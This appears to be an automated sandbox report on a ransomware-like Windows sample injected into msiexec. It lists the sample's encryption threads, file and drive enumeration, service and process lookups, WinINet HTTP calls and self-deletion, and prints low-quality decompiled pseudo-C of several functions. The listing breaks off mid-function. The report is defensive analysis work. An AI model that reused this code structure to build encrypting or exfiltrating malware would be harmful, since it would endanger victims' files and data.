C:\Users\user\Desktop\plugins\GAygkOwh9t.exe, xrefs: 005090F2, 005091B2, 005091FC, 0050931F
\\?\C:\Users\user\Desktop, xrefs: 00509128, 0050932B
~D, xrefs: 005090EB
7, xrefs: 0050908A

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FA9D0, Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 381
file

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNELBASE ref: 004FAA62
SetFilePointerEx.KERNEL32 ref: 004FABD8
ReadFile.KERNEL32 ref: 004FAC01
SetFileAttributesW.KERNELBASE ref: 004FAC43

Strings

2"*p, xrefs: 004FABBB, 004FAF01

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00509780, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96
encryptionthread

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 005097DA
CreateThread.KERNEL32 ref: 00509883
WaitForMultipleObjects.KERNEL32 ref: 005098BA

Strings

@, xrefs: 005097C7

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FE7F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
encryption

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 004FE83D
srand.MSVCRT ref: 004FE875

Strings

@, xrefs: 004FE830

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 005093B0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 170
file

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00509475

Strings

lb!, xrefs: 005095BF

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00508D80, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00508D80(void* __edi, void* __esp, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v20;
				void* _v28;
				void* _v592;
				void* _v620;
				intOrPtr _v624;
				void* _v636;
				void* _v1138;
				short _v1140;
				void* _v1152;
				void* _v1164;
				void* _v1654;
				short _v1656;
				void* _v1668;
				void* _v1680;
				char _v1688;
				signed int _v1692;
				void* _v1696;
				intOrPtr _v1704;
				long long _v1708;
				long long _v1724;
				intOrPtr _v1740;
				void* _t88;

				_a16 = __rdx;
				_a8 = __rcx;
				_v1704 = 0;
				_v1656 = 0;
				memset(__edi, 0, 0x208 << 0);
				_t88 = __edi + 0x208;
				if(( *(0x513770 +  &_v1654 * 0) & 0x0000ffff) != 0) {
					r8d = 0xffffffff;
					 *0x00500CE0();
					 *0xFFFFFFFF87954C32();
					_v1692 = 0x500c00;
					if(( *(0x513560 + _v1692 * 2 - 2) & 0x0000ffff) != 0x5c) {
						 *0x00500D00();
					}
				} else {
					r8d = 0xffffffff;
					 *((long long*)(0x500ce0))();
					 *0xFFFFFFFFAEB7D3B9();
					_v1708 = 0x500bc0;
					if(_v1708 != 0) {
						 *((short*)(_v1708 + 2)) = 0;
					}
				}
				_v1140 = 0;
				memset(_t88, 0, 0x208 << 0);
				E004FB3B0(E004FB3E0( &_v1688, 0x50e128), 0x50e128);
				_v1696 = 0x500d10;
				E004FB3C0( *_v1696(),  &_v1688);
				_v624 = 0;
				memset(_t88 + 0x208, 0, 0x24c << 0);
				FindFirstFileW(??, ??); // executed
				_v1724 =  *0x004F298A - 0x6c9861f5;
				if(_v1724 != 0xffffffff) {
					 *((long long*)(0x500d00))();
					_v1740 =  *0x005086B0();
					 *((long long*)( *0x004F1530 + 0x204406))();
				}
				return _v1740;
			}

0x00508d80
0x00508d85
0x00508d92
0x00508d9c
0x00508db0
0x00508db0
0x00508dc8
0x00508e2a
0x00508e3c
0x00508e52
0x00508e54
0x00508e6d
0x00508e8f
0x00508e8f
0x00508dca
0x00508dd7
0x00508de9
0x00508e01
0x00508e03
0x00508e0e
0x00508e17
0x00508e17
0x00508e1b
0x00508e93
0x00508ead
0x00508ecc
0x00508edf
0x00508f05
0x00508f0a
0x00508f27
0x00508f46
0x00508f48
0x00508f53
0x00508f76
0x00508f9c
0x00508fb2
0x00508fb2
0x00508fc0

APIs

FindFirstFileW.KERNELBASE ref: 00508F46

Strings

C:\Users\user\Desktop\plugins\GAygkOwh9t.exe, xrefs: 00508DDD, 00508E4B, 00508E59

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FE9F0, Relevance: 3.1, APIs: 2, Instructions: 95thread

APIs

GetNativeSystemInfo.KERNEL32 ref: 004FEA4C
CreateThread.KERNEL32 ref: 004FEB34

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FF750, Relevance: 1.6, APIs: 1, Instructions: 57

APIs

FindFirstFileW.KERNELBASE ref: 004FF773

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 005077F0, Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 218

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.SECHOST ref: 00507810
OpenServiceW.SECHOST ref: 005079F0
CloseServiceHandle.SECHOST ref: 00507B63

Strings

)_+, xrefs: 00507B39
UXZq, xrefs: 005078A8, 0050792B, 00507A18, 00507ADC, 00507B52
gCM, xrefs: 00507B29
_TH, xrefs: 005079D6, 00507A98

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00507640, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0050765B
Process32FirstW.KERNEL32 ref: 005076C7
Process32NextW.KERNEL32 ref: 00507795

Strings

?cSz, xrefs: 0050766E

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00500170, Relevance: 6.2, APIs: 4, Instructions: 233
network

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00500170(void* __rax, long long __rcx, long long __rdx, long long __r9) {
				signed int _t98;
				void* _t135;
				signed int _t137;
				long long* _t143;
				signed int _t147;
				void* _t148;
				long long* _t153;
				long long* _t155;
				signed int _t156;
				signed int _t187;
				void* _t197;
				signed int _t201;
				void* _t202;
				signed int _t203;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t209;
				long long _t228;
				signed int _t229;
				void* _t231;
				signed int _t232;
				void* _t234;
				intOrPtr* _t235;
				void* _t237;
				intOrPtr* _t239;
				long long* _t242;

				_t135 = __rax;
				 *((long long*)(_t208 + 0x20)) = __r9;
				 *((intOrPtr*)(_t208 + 0x18)) = r8w;
				 *((long long*)(_t208 + 0x10)) = __rdx;
				 *((long long*)(_t208 + 8)) = __rcx;
				_t206 = _t208 - 0x378;
				_t209 = _t208 - 0x478;
				r12d = 0;
				 *(_t209 + 0x48) = r12d;
				r8d = 0x400;
				 *(_t209 + 0x40) = r12d;
				 *(_t209 + 0x4c) = r12d;
				r15d = r12d;
				 *(_t209 + 0x44) = r12d;
				E004F5A30();
				_t235 =  *(_t206 + 0x3e8);
				 *((long long*)(_t235 + 8)) = _t228;
				 *((long long*)(_t209 + 0x60)) = 0x755db2ff;
				_t203 = _t235 + 8;
				 *_t235 = _t228;
				 *0x755db2ff(_t237, _t234, _t231, _t228, _t197, _t202, _t148, _t205);
				 *(_t209 + 0x20) = r12d;
				_t137 =  *0x004F4CD3 - 0x1e279d6d;
				r9d = 0;
				r8d = 0;
				 *_t137(); // executed
				 *(_t206 + 0x3e8) = _t137;
				_t232 = _t137;
				_t229 = 0x273a197e;
				if(_t135 != 0) {
					 *0x005043D0();
				}
				if(_t232 == 0) {
					L26:
					return r15d;
				}
				r8d =  *(_t206 + 0x3d0) & 0x0000ffff;
				_t187 =  *((intOrPtr*)(_t206 + 0x3c8));
				r9d = 0;
				 *(_t209 + 0x38) = _t137;
				 *(_t209 + 0x30) = 0;
				 *(_t209 + 0x28) = 3;
				 *(_t209 + 0x20) = _t137;
				 *((long long*)( *0x004F4B63 - 0x7982611a))(); // executed
				 *(_t209 + 0x58) = _t137;
				if(_t137 == 0) {
					L25:
					 *((long long*)( *0x004F4E2A + 0x19427b))();
					goto L26;
				}
				 *(_t209 + 0x40) = 0x84803200;
				 *0x00504260();
				 *(_t209 + 0x38) = _t187;
				 *(_t209 + 0x30) =  *(_t209 + 0x40);
				 *(_t209 + 0x28) = _t187;
				 *(_t209 + 0x20) = 0x50d214;
				 *((long long*)( *0x004F4D7A - 0x67636b5b))(); // executed
				_t201 = _t137;
				if(_t137 != 0) {
					 *(_t229 - 0x26e9d5ae)();
				}
				if(_t201 == 0) {
					L23:
					_t153 =  *((intOrPtr*)(0x4f4e2a)) + 0x19427b;
					 *_t153();
					if(_t201 != 0) {
						 *_t153();
					}
					goto L25;
				} else {
					r9d = 4;
					 *(_t209 + 0x40) = 0x927c0;
					_t155 =  *0x004F4DD3 + 0x3130ad;
					 *_t155();
					 *(_t209 + 0x44) = 4;
					 *(_t209 + 0x40) = r15d;
					 *((long long*)( *0x004F4BBA + 0x134846))();
					 *(_t209 + 0x40) =  *(_t209 + 0x40) | 0x00000100;
					r9d = 4;
					 *_t155();
					_t239 =  *((intOrPtr*)(_t206 + 0x3e0));
					if(_t239 == 0) {
						_t156 =  *(_t206 + 0x3e8);
						r13d = 0;
						 *(_t209 + 0x50) = _t232;
					} else {
						_t147 =  *_t239;
						r13d =  *(_t239 + 8);
						 *(_t209 + 0x50) = _t147;
						 *((intOrPtr*)(_t209 + 0x60))();
						_t156 = _t147;
						 *(_t209 + 0x48) = 1;
					}
					asm("inc ebp");
					 *(_t209 + 0x20) = r13d;
					r8d = r8d & 0x0000002f;
					_t143 =  *0x004F4D23 + 0xcb0c2; // executed
					_t98 =  *_t143(); // executed
					r15d = _t98;
					if(( *(_t209 + 0x48) & 0x00000001) != 0 && _t156 != 0) {
						_t229 = _t229 - 0x26e9d5ae;
						 *_t229();
					}
					if(r15d == 0) {
						_t232 =  *(_t206 + 0x3e8);
					} else {
						_t242 =  *0x004F4C7A + 0x58552;
						r12d = 0;
						while(1) {
							 *(_t209 + 0x44) = r12d;
							r8d = 0x400;
							if( *_t242() == 0) {
								break;
							}
							r9d =  *(_t209 + 0x44);
							_t143 = 0x500040;
							 *(_t209 + 0x20) = _t203;
							 *((long long*)(0x500040))();
							 *_t235 = 0x500040;
							if( *(_t209 + 0x44) != r12d) {
								continue;
							}
							break;
						}
						if( *_t235 != 0) {
							 *(_t209 + 0x20) = _t203;
							r9d = 1;
							 *((long long*)(0x500040))();
							 *_t203 =  *_t203 - 1;
							 *_t235 = _t143;
						}
						 *(_t209 + 0x20) = _t229;
						 *((long long*)( *0x004F4C1A + 0x118d82))();
						_t232 =  *(_t206 + 0x3e8);
						if( *_t235 == _t229) {
							r15d = r12d;
							r15b =  *(_t209 + 0x4c) == 0xc8;
						} else {
							r15d = 1;
						}
					}
					goto L23;
				}
			}

0x00500170
0x00500170
0x00500175
0x0050017b
0x00500180
0x00500191
0x00500199
0x005001a0
0x005001aa
0x005001af
0x005001b5
0x005001ba
0x005001bf
0x005001c2
0x005001c7
0x005001cc
0x005001e1
0x005001ec
0x005001f1
0x005001fc
0x005001ff
0x00500204
0x00500215
0x0050021b
0x0050021e
0x00500224
0x00500226
0x0050022d
0x00500230
0x0050023a
0x00500249
0x00500249
0x0050024e
0x00500548
0x0050055e
0x0050055e
0x0050025d
0x0050026c
0x00500273
0x00500276
0x0050027e
0x00500282
0x0050028a
0x0050028f
0x00500292
0x0050029a
0x00500536
0x00500546
0x00000000
0x00500546
0x005002a7
0x005002b6
0x005002cf
0x005002e2
0x005002ed
0x005002fc
0x00500306
0x00500309
0x0050030f
0x0050031e
0x0050031e
0x00500323
0x00500517
0x00500523
0x0050052a
0x0050052f
0x00500534
0x00500534
0x00000000
0x00500329
0x00500335
0x0050033b
0x00500343
0x00500351
0x00500365
0x00500372
0x0050037f
0x00500381
0x0050038e
0x0050039b
0x0050039d
0x005003a7
0x005003d7
0x005003de
0x005003e1
0x005003a9
0x005003a9
0x005003b3
0x005003be
0x005003c3
0x005003c7
0x005003ca
0x005003d2
0x005003fa
0x005003fd
0x00500402
0x00500406
0x0050040c
0x00500413
0x00500416
0x0050041d
0x00500427
0x00500427
0x0050042d
0x00500510
0x00500433
0x00500441
0x00500448
0x00500450
0x00500455
0x0050045a
0x0050046d
0x00000000
0x00000000
0x0050046f
0x00500482
0x00500488
0x0050048d
0x0050048f
0x00500497
0x00000000
0x00000000
0x00000000
0x00500497
0x0050049f
0x005004b2
0x005004b7
0x005004bd
0x005004bf
0x005004c2
0x005004c2
0x005004d7
0x005004e9
0x005004eb
0x005004f5
0x00500507
0x0050050a
0x005004f7
0x005004f7
0x005004f7
0x005004f5
0x00000000
0x0050042d

APIs

InternetOpenA.WININET ref: 00500224
InternetConnectA.WININET ref: 0050028F
HttpOpenRequestA.WININET ref: 00500306
HttpSendRequestA.WININET ref: 0050040C

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00501E40, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130

Control-flow Graph

Executed
Not Executed

APIs

GetDriveTypeW.KERNELBASE ref: 00501EE1

Strings

\\?\, xrefs: 00501F03
\, xrefs: 00501F20

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 0050A410, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 16%

			E0050A410(intOrPtr __ecx, void* __eflags, long long __rax, intOrPtr _a8) {
				char _v24;
				void* _v32;
				void* _v40;
				char _v48;
				long long _v56;
				long long _v64;
				void* _v72;
				long long _v80;
				signed char _v84;
				signed int _v88;
				long long _v96;
				signed char _v104;
				intOrPtr _v120;
				void* _t48;
				int _t59;
				long long _t72;
				long long _t74;

				_t72 = __rax;
				_a8 = __ecx;
				_v64 = __rax;
				E004FB3B0(E004FB3E0( &_v48, 0x50de88), _t72);
				_v72 =  *0x004F2283 - 0x4815a4ec;
				 *_v72();
				_v56 = 0x5021b0;
				r9d = 1;
				r8d = 0;
				_t74 = _v56;
				_t48 =  *_t74();
				_v80 = _t74;
				E004FB3C0(_t48,  &_v48);
				if(_v80 != 0) {
					r9d = 4;
					r8d = 0x3000;
					VirtualAlloc(??, ??, ??, ??); // executed
					_v96 =  *0x004F27D3 - 0xb1f547c;
					r8d = 0x50;
					 *0x004FFE50();
					E004FB3B0(E004FB3E0( &_v24, 0x50de88), 0x50de88);
					_v40 =  *((intOrPtr*)(0x4f2283)) - 0x4815a4ec;
					 *_v40();
					_v32 = 0x50a1a0;
					_v120 = 5;
					if( *_v32() != 0) {
						_v88 = 0;
					} else {
						_v88 = 1;
					}
					_v104 = _v88 & 0x000000ff;
					E004FB3C0(_v88 & 0x000000ff,  &_v24);
					if((_v104 & 0x000000ff) == 0) {
						_v84 = 0;
						r8d = 0x20;
						_t59 = VirtualProtect(??, ??, ??, ??); // executed
						return _t59;
					} else {
						r8d = 0x4000;
						 *((long long*)( *0x004F26E3 + 0x3e2fbb))();
						r8d = 0x8000;
						 *((long long*)( *((intOrPtr*)(0x4f26e3)) + 0x3e2fbb))();
						return 0;
					}
				}
				return 0;
			}

0x0050a410
0x0050a410
0x0050a422
0x0050a445
0x0050a458
0x0050a465
0x0050a475
0x0050a47a
0x0050a480
0x0050a48b
0x0050a490
0x0050a492
0x0050a49c
0x0050a4a7
0x0050a4bd
0x0050a4c3
0x0050a4d0
0x0050a4d2
0x0050a4e4
0x0050a4f4
0x0050a516
0x0050a529
0x0050a536
0x0050a546
0x0050a54b
0x0050a570
0x0050a57c
0x0050a572
0x0050a572
0x0050a572
0x0050a589
0x0050a595
0x0050a5a1
0x0050a5df
0x0050a5f9
0x0050a609
0x00000000
0x0050a5a3
0x0050a5b0
0x0050a5bd
0x0050a5cc
0x0050a5d9
0x00000000
0x0050a5db
0x0050a5a1
0x00000000

APIs

VirtualAlloc.KERNELBASE ref: 0050A4D0
VirtualProtect.KERNELBASE ref: 0050A609

Strings

ntdll.dll, xrefs: 0050A560

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00501DA0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDriveStringsW.KERNELBASE ref: 00501DBC
GetLogicalDriveStringsW.KERNELBASE ref: 00501DFA

Strings

;Km(, xrefs: 00501DAA

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FB040, Relevance: 4.7, APIs: 3, Instructions: 200

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExW.KERNELBASE ref: 004FB115
GetComputerNameW.KERNEL32 ref: 004FB16D
GetUserNameW.ADVAPI32 ref: 004FB1AB

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00508310, Relevance: 4.5, APIs: 3, Instructions: 26
sleep

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 0050832B
Sleep.KERNELBASE ref: 00508349
DeleteFileW.KERNELBASE ref: 0050834E

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FFB30, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 004FFB4D

Strings

fBG6, xrefs: 004FFB3D

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00509660, Relevance: 3.1, APIs: 2, Instructions: 74thread

APIs

ConvertThreadToFiber.KERNEL32 ref: 0050969A
CreateFiber.KERNEL32 ref: 00509739

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FF0E0, Relevance: 3.0, APIs: 2, Instructions: 47file

APIs

CreateFileMappingA.KERNEL32 ref: 004FF140
MapViewOfFile.KERNEL32 ref: 004FF16D

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00508650, Relevance: 3.0, APIs: 2, Instructions: 22sleep

APIs

GetNativeSystemInfo.KERNEL32 ref: 00508682
Sleep.KERNELBASE ref: 00508696

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 00503860, Relevance: 1.6, APIs: 1, Instructions: 110thread

APIs

CreateThread.KERNEL32 ref: 0050398D

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FF990, Relevance: 1.6, APIs: 1, Instructions: 86

APIs

CreateFileW.KERNEL32 ref: 004FF9F0

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FF860, Relevance: 1.6, APIs: 1, Instructions: 58

APIs

FindNextFileW.KERNELBASE ref: 004FF883

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FF2A0, Relevance: 1.5, APIs: 1, Instructions: 43

APIs

GetDriveTypeW.KERNELBASE ref: 004FF332

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FF1A0, Relevance: 1.5, APIs: 1, Instructions: 36

APIs

CreateFileW.KERNEL32 ref: 004FF1D9

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FFCB0, Relevance: 1.5, APIs: 1, Instructions: 32

APIs

RtlAllocateHeap.NTDLL ref: 004FFD09

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004F6231, Relevance: 1.5, APIs: 1, Instructions: 24
library

C-Code - Quality: 100%

			E004F6231(void* _a8) {
				struct HINSTANCE__* _t2;
				long _t11;
				void* _t14;
				CHAR* _t21;

				if( *0x511718 == 0) {
					 *0x004F60FD();
				}
				_t2 = LoadLibraryExA(_t21, _t14, _t11); // executed
				return _t2;
			}

0x004f6241
0x004f6250
0x004f6250
0x004f6271
0x004f627c

APIs

LoadLibraryExA.KERNELBASE ref: 004F6271

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 004FFC70, Relevance: 1.5, APIs: 1, Instructions: 12

APIs

HeapCreate.KERNELBASE ref: 004FFC8B

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Function 0050A1A0, Relevance: 1.4, APIs: 1, Instructions: 136

C-Code - Quality: 42%

			E0050A1A0(void* __edi, void* __esp, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _v16;
				void* _v546;
				short _v548;
				long long _v560;
				void* _v568;
				void* _v576;
				long long _v584;
				long long _v592;
				long long _v600;
				signed int _v608;
				signed int _v616;
				void* _t91;
				void* _t111;
				signed long long _t128;

				_t111 = __edi;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v592 = _a24 - _a16;
				_v560 = _a16;
				_v600 = _a16 +  *((intOrPtr*)(_v560 + 0x3c));
				_t128 = _v600 + _v600 + 0x18;
				_v608 = _t128;
				_v584 = 0;
				_v616 = 0;
				while((_v616 & 0x0000ffff) < ( *(_v600 + 6) & 0x0000ffff)) {
					_t128 = _t128 * 0x28;
					if(_v592 < _t128) {
						L6:
						_v616 = (_v616 & 0x0000ffff) + 1;
						continue;
					} else {
						_t128 = _t128 * 0x28;
						if(_v592 > _t128) {
							goto L6;
						} else {
							_v584 = _t128 * 0x28 + _v592 - _v608 * 0x28;
						}
					}
					break;
				}
				if(_v584 != 0) {
					_v576 = 0;
					memset(_t111, 0, 8 << 0);
					_v548 = 0;
					memset(_t111 + 8, 0, 0x208 << 0);
					 *((long long*)( *0x004F2533 + 0x243d4b))();
					 *0x00500D00();
					 *((long long*)(0x500d00))();
					if( *0x004FF270() != 0) {
						_v576 = 0x4ffe50;
						r8d = _a16;
						 *_v576();
						if(_v600 != 0) {
							HeapFree(); // executed
						}
						_v600 = 0;
						_v592 = 0;
						_t91 = 1;
					} else {
						_t91 = 0;
					}
				} else {
					_t91 = 0;
				}
				return _t91;
			}

0x0050a1a0
0x0050a1a0
0x0050a1a5
0x0050a1aa
0x0050a1af
0x0050a1d2
0x0050a1df
0x0050a1fb
0x0050a20e
0x0050a213
0x0050a218
0x0050a223
0x0050a237
0x0050a252
0x0050a264
0x0050a2cc
0x0050a232
0x00000000
0x0050a266
0x0050a26b
0x0050a291
0x00000000
0x0050a293
0x0050a2c5
0x0050a2c5
0x0050a291
0x00000000
0x0050a264
0x0050a2d7
0x0050a2e0
0x0050a2f8
0x0050a2fc
0x0050a310
0x0050a329
0x0050a34b
0x0050a36e
0x0050a38b
0x0050a3b6
0x0050a3bb
0x0050a3ce
0x0050a3d6
0x0050a3ea
0x0050a3ea
0x0050a3ec
0x0050a3f5
0x0050a3fe
0x0050a38d
0x0050a38d
0x0050a38d
0x0050a2d9
0x0050a2d9
0x0050a2d9
0x0050a40b

APIs

HeapFree.KERNEL32 ref: 0050A3EA

Memory Dump Source

Source File: 00000007.00000002.17421741883.00000000004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_msiexec.jbxd

Non-executed Functions

Function 00505AC0, Relevance: 4.3, Strings: 3, Instructions: 524
Crypto

C-Code - Quality: 59%

			E00505AC0(void* __edi, void* __esp, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, void* _a24) {
				void* _v32;
				void* _v40;
				long long* _v60;
				void* _v582;
				short _v584;
				void* _v608;
				void* _v1086;
				short _v1088;
				char _v1112;
				void* _v1136;
				void* _v1148;
				void* _v1348;
				signed short _v1352;
				intOrPtr _v1356;
				intOrPtr _v1360;
				intOrPtr _v1364;
				void* _v1464;
				signed short _v1468;
				void* _v1472;
				char _v1476;
				signed int _v1480;
				long long _v1484;
				void* _v1492;
				long long _v1564;
				void* _v1568;
				void* _v1572;
				void* _v1576;
				long long _v1580;
				long long _v1584;
				long long _v1592;
				long long _v1596;
				long long _v1604;
				void* _v1618;
				short _v1620;
				signed short _v1632;
				long long _v1640;
				long long _v1648;
				intOrPtr _v1652;
				long long _v1656;
				signed short _v1664;
				long long _v1672;
				void* _v1676;
				long long _v1680;
				long long _v1684;
				long long _v1688;
				long long _v1696;
				long long _v1700;
				long long _v1712;
				long long _v1720;
				void* _v1736;
				long long _v1740;
				long long _v1744;
				long long _v1748;
				signed int _v1752;
				long long _v1756;
				void* _v1760;
				void* _v1764;
				long long _v1772;
				long long _v1776;
				long long _v1780;
				long long _v1784;
				long long _v1792;
				long long _v1800;
				long long _v1804;
				signed short _v1808;
				signed short _v1812;
				signed short _v1816;
				signed short _v1820;
				long long _v1824;
				signed short _v1828;
				long long _v1832;
				intOrPtr _v1836;
				long long _v1840;
				long long _v1844;
				long long _v1852;
				void* _t289;
				void* _t293;
				void* _t364;
				void* _t365;
				void* _t366;
				void* _t367;
				void* _t368;
				void* _t369;
				void* _t371;
				void* _t372;
				void* _t374;
				void* _t376;
				long long _t386;
				long long _t388;
				long long _t390;
				long long _t405;
				long long _t415;
				long long _t417;
				long long _t437;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v1632 = 0;
				 *_a24 = 0;
				if( *0x00501770() >= 6) {
					_v1352 = 0;
					memset(__edi, 0, 0x118 << 0);
					_t371 = __esp + 0xc;
					_t364 = __edi + 0x118;
					_v1364 = 0x11c;
					 *0x004F4370();
					if(_v1360 != 0xa || _v1356 != 0 || _v1352 >= 0x3fab) {
						E004FB3B0(E004FB3E0( &_v1476, 0x50df48), 0x50df48);
						_v1484 =  *0x004F2093 + 0x30cda7;
						_t386 = _v1484;
						_t289 =  *_t386();
						_v1604 = _t386;
